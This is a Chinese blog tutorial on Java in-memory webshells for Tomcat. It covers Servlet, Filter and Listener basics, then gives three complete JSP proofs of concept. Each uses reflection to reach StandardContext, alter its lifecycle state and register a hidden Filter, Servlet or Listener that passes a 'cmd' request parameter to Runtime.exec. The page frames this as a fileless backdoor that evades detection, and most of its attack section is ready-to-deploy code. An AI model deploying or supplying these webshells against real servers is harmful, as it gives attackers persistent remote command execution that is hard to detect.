1、前置知识

(1)Tomcat

Tomcat是一个开源的、轻量级的、用于Java Servlet和JavaServer Pages(JSP)的Web应用程序服务器。它是Apache软件基金会的一个项目,也是最流行的Servlet容器之一,适用于开发和部署各种类型的Java Web应用程序。

Tomcat负责管理Servlet的生命周期,包括加载、初始化、调用和销毁。当Tomcat接收到一个HTTP请求时,它会根据请求的URL路径找到对应的Servlet,并根据需要实例化和初始化这个Servlet,然后调用它的service()方法处理请求。在Servlet容器关闭时,Tomcat会销毁所有的Servlet实例,释放资源。

(2)Servlet

Servlet是Java编写的服务器端程序,用于处理请求和生成响应。Servlet是javaEE规范之一。Servlet程序与Filter过滤器、Listener监听器并称为三大组件。在编写javaWeb应用程序时,通常使用Servlet的子类HttpServlet来实现对HTTP请求的处理。

Servlet的生命周期:

(1)构造 servlet,然后使用 init 方法将其初始化。

(2)处理来自客户端的对 service 方法的所有调用。

(3)从服务中取出 servlet,然后使用 destroy 方法销毁它,最后进行垃圾回收并终止它。

  1. //实现Servlet接口的类
  2. @WebServlet(name = "MyServlet", value = "/My-servlet")
  3. public class HelloServlet implements Servlet {
  4. /**
  5. * @param servletConfig
  6. * @throws ServletException
  7. */
  8. @Override
  9. public void init(ServletConfig servletConfig) throws ServletException {
  10. }
  11. @Override
  12. public ServletConfig getServletConfig() {
  13. return null;
  14. }
  15. @Override
  16. public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
  17. System.out.printf("hello! Srevlet被访问了");
  18. }
  19. @Override
  20. public String getServletInfo() {
  21. return null;
  22. }
  23. @Override
  24. public void destroy() {
  25. }
  26. }
  1. package com.example.mshell;
  2. //给servlet程序配置访问地址
  3. @WebServlet(name = "helloServlet", value = "/hello-servlet")
  4. public class HelloServlet extends HttpServlet {
  5. private String message;
  6. public void init() {
  7. message = "Hello World!";
  8. }
  9. public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  10. response.setContentType("text/html");
  11. PrintWriter out = response.getWriter();
  12. out.println("<html><body>");
  13. out.println("<h1>" + message + "</h1>");
  14. out.println("</body></html>");
  15. }
  16. public void destroy() {
  17. }
  18. }

ServletContext是一个接口,表示Servlet上下文对象,其实现类为ApplicationContextFacade和ApplicationContext;一个web工程只有一个ServletContext对象实例;ServletContext是一个域对象;

ServletContext的声明周期与web工程一致,随着web工程的创建而创建,停止而消失;

域对象是可以向Map一样存取数据的对象,这里的域指定是存取对象的操作范围;

存数据方法 取数据方法 删除数据方法
Map put() get() remove()
域对象 setAttribute() getAttribute() removeAttribute()

ServletContext接口的四个常见作用:

(1)像Map一样存取数据(Sting-object)

(2)获取web.xml中配置的上下文参数context-param

(3)获取工程部署后服务器上web工程的绝对路径(常用于获取工程内资源的绝对路径)

(4)获取当前工程路径

  1. public class ServletCt extends HttpServlet {
  2. @Override
  3. protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
  4. // super.doGet(req, resp);
  5. ServletContext st = this.getServletContext();
  6. System.out.println("context-param-user:" + st.getInitParameter("user"));
  7. System.out.println("工程路径:" + st.getContextPath());
  8. System.out.println("工程部署路径:" + st.getRealPath("/"));
  9. System.out.println("资源1.png的绝对路径" + st.getRealPath("/images/1.png"));
  10. st.setAttribute("key", "value");
  11. st.setAttribute("?", "?");
  12. st.removeAttribute("?");
  13. System.out.println(st.getAttribute("key"));
  14. System.out.println(st.getAttribute("?"));
  15. }
  16. }

(3)JSP

JSP(JavaServer Pages)是一种用于开发动态Web内容的Java技术。与Servlet相比,JSP更注重于将Java代码嵌入到HTML页面中,以便更轻松地生成动态内容。JSP页面通常包含HTML标记和嵌入的Java代码片段,这些代码片段会在服务器端执行,生成最终的HTML内容,然后将其发送给客户端浏览器。

当我们第一次访问一个jsp页面的时候,Tomcat服务器会根据jsp文件生成一个Servlet程序的源文件并且编译成.class字节码程序。观察源码可以发现其底层回传数据的逻辑还是通过HttpServletResponse(用于返回响应的类,通常与HttpServletRequest一起使用)下writer对象的的write方法将数据返回给客户端;

JSP页面中的HTML部分会被转换成Java代码中的字符串常量,而Java代码部分则直接保留。我们可以在CATALINA_BASE/work/Catalina 目录直接找到该文件;

  1. <%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
  2. <!DOCTYPE html>
  3. <html>
  4. <head>
  5. <title>JSP - Hello World</title>
  6. </head>
  7. <body>
  8. <h1><%= "Hello World!" %>
  9. </h1>
  10. <br/>
  11. <a href="hello-servlet">Hello Servlet</a><br/><br/>
  12. <%
  13. out.print("这是一段java代码");
  14. %>
  15. </body>
  16. </html>

(4)Filter

Filter是Java Servlet规范中的一种组件,用于在Servlet容器中对HTTP请求进行预处理和后处理。Filter可以在Servlet处理请求之前、响应生成之后,对请求进行拦截、修改和增强。Filter通常用于实现诸如日志记录、字符编码转换、权限控制、数据压缩等功能,对于Web应用程序的开发和管理具有重要意义。与Servlet类似,Filter也可以通过在web.xml文件中进行配置,或者使用Servlet 3.0中的注解方式来声明和配置。Filter是Java Web开发中非常重要的一个组件,能够提高Web应用程序的灵活性、可维护性和安全性。

  1. package com.example.mshell;
  2. import javax.servlet.*;
  3. import javax.servlet.annotation.WebFilter;
  4. import java.io.IOException;
  5. @WebFilter(urlPatterns = "/admin/*")
  6. public class HelloFilter implements Filter {
  7. @Override
  8. public void init(FilterConfig filterConfig) throws ServletException {
  9. Filter.super.init(filterConfig);
  10. }
  11. @Override
  12. public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
  13. System.out.println("拦截到了/admin/下的一次请求");
  14. //放行请求
  15. chain.doFilter(request,response);
  16. }
  17. @Override
  18. public void destroy() {
  19. Filter.super.destroy();
  20. }
  21. }

(5)Listener

Listener是Java Servlet规范中的一种组件,用于监听Web应用程序中的事件,如ServletContext的创建和销毁、HttpSession的创建和销毁、ServletRequest的创建和销毁等。Listener可以在特定事件发生时执行相应的逻辑,用于监听和响应Web应用程序的生命周期和状态变化。当对应的事件发生时,容器会调用Listener中的相应方法,执行监听逻辑。

  1. package com.example.mshell;
  2. @WebListener
  3. public class HelloListener implements ServletContextListener {
  4. @Override
  5. public void contextInitialized(ServletContextEvent sce) {
  6. // 当ServletContext被初始化时调用该方法
  7. System.out.println("ServletContext Initialized");
  8. }
  9. @Override
  10. public void contextDestroyed(ServletContextEvent sce) {
  11. // 当ServletContext被销毁时调用该方法
  12. System.out.println("ServletContext Destroyed");
  13. }
  14. }

(6)内存马

内存马宏观意义上是在内存中被植入的恶意代码,“无文件落地”特性是内存马的一个重要特点,指的是恶意代码不需要写入到被感染系统的磁盘上,而是直接加载到系统的内存中并在其中运行。这种特性使得内存马更难以被传统的安全防护措施检测和清除,因为它们不留下明显的痕迹。

但是内存马在实际攻防中远不止于此,可以使用内存马解决很多棘手的问题,例如webshell文件落地被杀,不能反弹shell、禁止文件写入等等情况,这篇文章中所有的内存马分析都是针对传统Java web型应用,Servlet内存马、Listener内存马、Filter内存马。当然,内存马的类型远不止于此,还有针对各种框架、中间件,亦或是配合反序列化漏洞的内存马。但因为篇幅原因后续再记录。

文章中的项目框架为javaWeb-Maven-Tomcat9.0.80;在Tomcat不同版本中实现代码略有不同,但是基本的思路是一样的;

本文对Tomcat源码部分不做重点分析,重在了解动态创建三大组件的过程。

2、Filter内存马

在Servlet3.0后,本身就提供了动态注册组件的API接口定义,不过有一些限制,本文的所有内存马也是全部利用Servlet API入手进行内存马的编写;

在ServletContext接口中定义了方法addFilter,就是用来动态的添加一个Filter组件;

但是请注意这里的注释:

异常情况处理:

  • 如果ServletContext已经被初始化,则抛出IllegalStateException。
  • 如果filterName为null或者空字符串,则抛出IllegalArgumentException。
  • 如果ServletContext被传递给了一个不在web.xml或者web-fragment.xml中声明,也没有使用@WebListener注解声明的ServletContextListener的contextInitialized方法,则抛出UnsupportedOperationException。

处理这些异常情况是一项重要的任务;

具体的实现在ApplicationContext中体现:

  1. private FilterRegistration.Dynamic addFilter(String filterName, String filterClass, Filter filter)
  2. throws IllegalStateException {
  3. //filterName不能为空
  4. if (filterName == null || filterName.equals("")) {
  5. throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", filterName));
  6. }
  7. //检查applicathion处于何种状态
  8. // TODO Spec breaking enhancement to ignore this restriction
  9. checkState("applicationContext.addFilter.ise");
  10. //依据filterName查找是否有其对应的findFilterDef
  11. FilterDef filterDef = context.findFilterDef(filterName);
  12. // Assume a 'complete' FilterRegistration is one that has a class and
  13. // a name
  14. //下面是一系列检查和初始化工作 不是很重要
  15. if (filterDef == null) {
  16. filterDef = new FilterDef();
  17. filterDef.setFilterName(filterName);
  18. context.addFilterDef(filterDef);
  19. } else {
  20. if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
  21. return null;
  22. }
  23. }
  24. if (filter == null) {
  25. filterDef.setFilterClass(filterClass);
  26. } else {
  27. filterDef.setFilterClass(filter.getClass().getName());
  28. filterDef.setFilter(filter);
  29. }
  30. //创建一个ApplicationFilterRegistration
  31. return new ApplicationFilterRegistration(filterDef, context);
  32. }

这里首先就需要通过checkState函数,它用来检查当前context的状态是否为STARTING_PREP,“STARTING_PREP”代表还未被初始化;其中调用了来自LifecycleBase的getState函数;

而这个state的状态是由Tomcat控制的,当看到web页面的时候就已经经过初始化了,需要反射修改这个值;

可以发现它是一个对象,来自枚举类LifecycleState;

第一反应就是通过反射调用setState()方法,来绕过这个限制,发现在StandardContext类中并没有直接的方法声明,而是来到了LifecycleBase的setState方法,随即发现继承关系如下:

此外,还发现该方法中调用了setStateInternal方法,最终确定state的值由LifecycleBase中的属性值确定。

还有其他的绕过方法例如自行创建FilterDef和FilterConfig, 此处直接通过反射修改这个值;

假设现在通过了这个函数的检查,继续往下分析;

addFilter函数最终会返回一个ApplicationFilterRegistration,跟进这个类中看一眼;

这里有一个addMappingForUrlPatterns,给Filter添加拦截路径;

最后来到StandardContext,这里有个方法filterStart()用于配置和初始化Filter:

其实到这里思路就大致清晰了,只是有一些边边角角的地方跟一下代码逻辑就好,这里就不再说了,基本流程:

demo如下:

  1. <%@ page import="java.io.IOException" %>
  2. <%@ page import="com.example.mshell.HelloFilter" %>
  3. <%@ page import="java.lang.reflect.Method" %>
  4. <%@ page import="org.apache.catalina.core.StandardContext" %>
  5. <%@ page import="java.lang.reflect.Field" %>
  6. <%@ page import="java.util.EnumSet" %>
  7. <%@ page import="org.apache.catalina.LifecycleState" %>
  8. <%@ page import="java.lang.reflect.InvocationTargetException" %>
  9. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  10. <%@ page import="org.apache.catalina.util.LifecycleBase" %>
  11. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  12. <html>
  13. <head>
  14. <title>Title</title>
  15. </head>
  16. <body>
  17. </body>
  18. <%!
  19. public class HackFilter implements Filter {
  20. @Override
  21. public void init(FilterConfig filterConfig) throws ServletException {
  22. }
  23. @Override
  24. public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
  25. try {
  26. String cmd = (String)request.getParameter("cmd");
  27. if (cmd!=null){
  28. Runtime.getRuntime().exec(cmd);
  29. }
  30. } catch (IOException e) {
  31. throw new RuntimeException(e);
  32. }
  33. chain.doFilter(request,response);
  34. }
  35. @Override
  36. public void destroy() {
  37. }
  38. }
  39. %>
  40. <%
  41. HackFilter hackFilter = new HackFilter();
  42. ServletContext servletContext = request.getServletContext();
  43. StandardContext standardContext= null;
  44. try {
  45. //获取StandardContext对象
  46. Field context = servletContext.getClass().getDeclaredField("context");
  47. context.setAccessible(true);
  48. ApplicationContext applicationContext = (ApplicationContext) context.get(application);
  49. Field context1 = applicationContext.getClass().getDeclaredField("context");
  50. context1.setAccessible(true);
  51. standardContext= (StandardContext) context1.get(applicationContext);
  52. //修改state
  53. Class<?> lifecycleStateClass= standardContext.getClass().getSuperclass().getSuperclass().getSuperclass();
  54. Field state = lifecycleStateClass.getDeclaredField("state");
  55. state.setAccessible(true);
  56. state.set(standardContext,LifecycleState.STARTING_PREP);
  57. //添加Filter
  58. FilterRegistration.Dynamic applicationFilterRegistration = applicationContext.addFilter("HackFilter", hackFilter);
  59. //恢复容器状态
  60. state.set(standardContext,LifecycleState.STARTED);
  61. //初始化filter
  62. standardContext.filterStart();
  63. //设置拦截路径
  64. EnumSet<DispatcherType> dispatcherTypes = EnumSet.of(DispatcherType.REQUEST);
  65. applicationFilterRegistration.addMappingForUrlPatterns(dispatcherTypes,true,"/hack/*");
  66. } catch (Exception e) {
  67. throw new RuntimeException(e);
  68. }
  69. %>
  70. </html>

访问cmd.jsp后访问路径/hack/?cmd=calc;成功弹出计算器;

3、Servlet内存马

基本思路一样,都是从addXXX入手,直接给出POC;

  1. <%@ page import="java.lang.reflect.Field" %>
  2. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  3. <%@ page import="org.apache.catalina.core.StandardContext" %>
  4. <%@ page import="javax.servlet.annotation.WebServlet" %>
  5. <%@ page import="java.io.IOException" %>
  6. <%@ page import="java.io.PrintWriter" %>
  7. <%@ page import="org.apache.catalina.LifecycleState" %><%--
  8. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  9. <html>
  10. <head>
  11. <title>Title</title>
  12. </head>
  13. <body>
  14. </body>
  15. <%
  16. try {
  17. ServletContext servletContext = request.getServletContext();
  18. Field context = servletContext.getClass().getDeclaredField("context");
  19. context.setAccessible(true);
  20. ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
  21. Field context1 = applicationContext.getClass().getDeclaredField("context");
  22. context1.setAccessible(true);
  23. StandardContext standardContext = (StandardContext) context1.get(applicationContext);
  24. HackServlet hackServlet = new HackServlet();
  25. Class<?> superclass = standardContext.getClass().getSuperclass().getSuperclass().getSuperclass();
  26. Field state = superclass.getDeclaredField("state");
  27. state.setAccessible(true);
  28. state.set(standardContext, LifecycleState.STARTING_PREP);
  29. ServletRegistration.Dynamic servletRegistration = applicationContext.addServlet("HackServlet", hackServlet);
  30. state.set(standardContext,LifecycleState.STARTED);
  31. // loadOnStartup为0或者大于0时,表示容器在应用启动时就加载并初始化这个servlet;
  32. servletRegistration.setLoadOnStartup(1);
  33. servletRegistration.addMapping("/hackServlet");
  34. } catch (NoSuchFieldException e) {
  35. throw new RuntimeException(e);
  36. } catch (IllegalAccessException e) {
  37. throw new RuntimeException(e);
  38. }
  39. %>
  40. <%!
  41. public class HackServlet extends HttpServlet {
  42. public void init() {
  43. }
  44. public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException {
  45. response.setHeader("content-type", "text/html;charset=UTF-8");
  46. response.setCharacterEncoding("UTF-8");
  47. response.getWriter().println("成功创建HackServlet");
  48. String cmd = request.getParameter("cmd");
  49. if (cmd!=null){
  50. Runtime.getRuntime().exec(cmd);
  51. }
  52. }
  53. public void destroy() {
  54. }
  55. }
  56. %>
  57. </html>

4、Listener内存马

Listener可以不用设置state的值,依据ServletRequestEvent对象还可以有很多操作;这里贴上最简单的POC;

  1. <%@ page import="java.io.IOException" %>
  2. <%@ page import="java.lang.reflect.Field" %>
  3. <%@ page import="org.apache.catalina.core.ApplicationContext" %>
  4. <%@ page import="org.apache.catalina.core.StandardContext" %>
  5. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  6. <html>
  7. <head>
  8. <title>Title</title>
  9. </head>
  10. <body>
  11. </body>
  12. <%
  13. try {
  14. ServletContext servletContext = request.getServletContext();
  15. Field context = servletContext.getClass().getDeclaredField("context");
  16. context.setAccessible(true);
  17. ApplicationContext o = (ApplicationContext) context.get(servletContext);
  18. Field context1 = o.getClass().getDeclaredField("context");
  19. context1.setAccessible(true);
  20. StandardContext standardContext = (StandardContext) context1.get(o);
  21. standardContext.addApplicationEventListener(new HackListener());
  22. } catch (NoSuchFieldException e) {
  23. throw new RuntimeException(e);
  24. } catch (IllegalAccessException e) {
  25. throw new RuntimeException(e);
  26. }
  27. %>
  28. <%!
  29. public class HackListener implements ServletRequestListener {
  30. @Override
  31. public void requestDestroyed(ServletRequestEvent sre) {
  32. System.out.println("监听到请求");
  33. String cmd = sre.getServletRequest().getParameter("cmd3");
  34. if (cmd!=null){
  35. try {
  36. Runtime.getRuntime().exec(cmd);
  37. } catch (IOException e) {
  38. throw new RuntimeException(e);
  39. }
  40. }
  41. }
  42. @Override
  43. public void requestInitialized(ServletRequestEvent sre) {
  44. }
  45. }
  46. %>
  47. </html>

Java内存马1-传统web内存马的更多相关文章

  1. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  2. 使用Java编写一个简单的Web的监控系统cpu利用率,cpu温度,总内存大小

    原文:http://www.jb51.net/article/75002.htm 这篇文章主要介绍了使用Java编写一个简单的Web的监控系统的例子,并且将重要信息转为XML通过网页前端显示,非常之实 ...

  3. 深入理解Java虚拟机二:垃圾收集与内存分配

    垃圾收集:垃圾收集要完成三件事,包括哪些内存需要回收,什么时候回收及如何回收. 1.需要回收的内存判定:没有引用指向原先分配给某个对象的内存时,则该内存是需要回收的垃圾 Java垃圾收集器在对内存进行 ...

  4. 【转载】java项目中经常碰到的内存溢出问题: java.lang.OutOfMemoryError: PermGen space, 堆内存和非堆内存,写的很好,理解很方便

    Tomcat Xms Xmx PermSize MaxPermSize 区别 及 java.lang.OutOfMemoryError: PermGen space 解决 解决方案 在 catalin ...

  5. Java 类加载机制 ClassLoader Class.forName 内存管理 垃圾回收GC

    [转载] :http://my.oschina.net/rouchongzi/blog/171046 Java之类加载机制 类加载是Java程序运行的第一步,研究类的加载有助于了解JVM执行过程,并指 ...

  6. java.lang.OutOfMemoryError 解决程序启动内存溢出问题

    java.lang.OutOfMemoryError: Java heap space Myeclipse里面部署的java web项目,浏览器访问的时候出现错误: type Exception re ...

  7. Java工作原理:JVM,内存回收及其他

    JAVA虚拟机系列文章 http://developer.51cto.com/art/201001/176550.htm Java语言引入了Java虚拟机,具有跨平台运行的功能,能够很好地适应各种We ...

  8. [二]Java虚拟机 jvm内存结构 运行时数据内存 class文件与jvm内存结构的映射 jvm数据类型 虚拟机栈 方法区 堆 含义

    前言简介 class文件是源代码经过编译后的一种平台中立的格式 里面包含了虚拟机运行所需要的所有信息,相当于 JVM的机器语言 JVM全称是Java Virtual Machine  ,既然是虚拟机, ...

  9. 求你了,别再说Java对象都是在堆内存上分配空间的了!

    Java作为一种面向对象的,跨平台语言,其对象.内存等一直是比较难的知识点,所以,即使是一个Java的初学者,也一定或多或少的对JVM有一些了解.可以说,关于JVM的相关知识,基本是每个Java开发者 ...

  10. Java解决大文件读取的内存问题以及文件流的比较

    Java解决大文件读取的内存问题以及文件流的比较 传统方式 读取文件的方式一般是是从内存中读取,官方提供了几种方式,如BufferedReader, 以及InputStream 系列的,也有封装好的如 ...

随机推荐

  1. 如何查看Linux 内核是AMD、arm

    如何查看Ubuntu的内核是AMD.ARM.x86.x86_64 $ arch 注:x86_64,x64,AMD64基本上是同一个东西

  2. ElementUI导出表格数据为Excel文件

    功能介绍 将列表的数据导出成excel文件是管理系统中非常常见的功能.最近正好用到了ElementUI+Vue的组合做了个导出效果,拿出来分享一下,希望可以帮到大家:) 实现效果 实现步骤 1.定义导 ...

  3. 解决oracle11g ORA-00119 ORA-00132方法

    转自:http://blog.sina.com.cn/s/blog_8334b46001016vk5.html 在linux下启动oracle11g是报如下错误: ORA-00119: invalid ...

  4. git bash 的一些使用

    一般使用git bash需要的命令 先打开git bash: git init 可以初始化一个本地的仓库 git status 查看仓库信息 mkdir test 创建一个test的文件夹 cd te ...

  5. [BUUCTF][Web][HCTF 2018]WarmUp 1

    这题已经标识为php 代码审计题,那么需要搞到源码才行 打开靶机对应的url,展示的是一张笑脸图片 右键查看网页源代码 <!DOCTYPE html> <html lang=&quo ...

  6. 在vue项目中使用scss语法的准备步骤

    在vue项目中使用scss语法的准备步骤 个人总结: 在项目根目录cmd控制台中使用以下命令行,安装vue项目中使用scss的相关依赖; 在["项目根目录/build/webpack.bas ...

  7. django学习第八天--多表操作删除和修改,子查询连表查询,双下划线跨表查询,聚合查询,分组查询,F查询,Q查询

    orm多条操作 删除和修改 修改 在一对一和一对多关系时,和单表操作是一样的 一对一 一个作者对应一个信息 ad_obj = models.AuthorDetail.objects.get(id=1) ...

  8. DataGear 制作自适应任意屏幕尺寸的数据可视化看板

    DataGear 即支持以编写HTML.JavaScript.CSS源码的源码模式制作看板,也支持直观可见.友好快捷的可视模式制作看板. 本文将通过看板可视编辑模式提供的网格布局和样式设置功能,介绍如 ...

  9. ENVI为遥感影像设置空间坐标系的方法

      本文介绍基于ENVI软件,对不含有任何地理参考信息的栅格遥感影像添加地理坐标系或投影坐标系等地理参考信息的方法.   我们先来看一下本文需要实现的需求.现有以下两景遥感影像,其位于不同的空间位置: ...

  10. folder-alias vscode左侧目录树 起别名 插件 (git decorations)

    folder-alias vscode左侧目录树 起别名 插件 插件 效果 不足 文件路径或目录路径中包含中文 会挂不上别名,纯英文路径没问题 有修改后,git会覆盖,不显示别名 个人意见 我的项目都 ...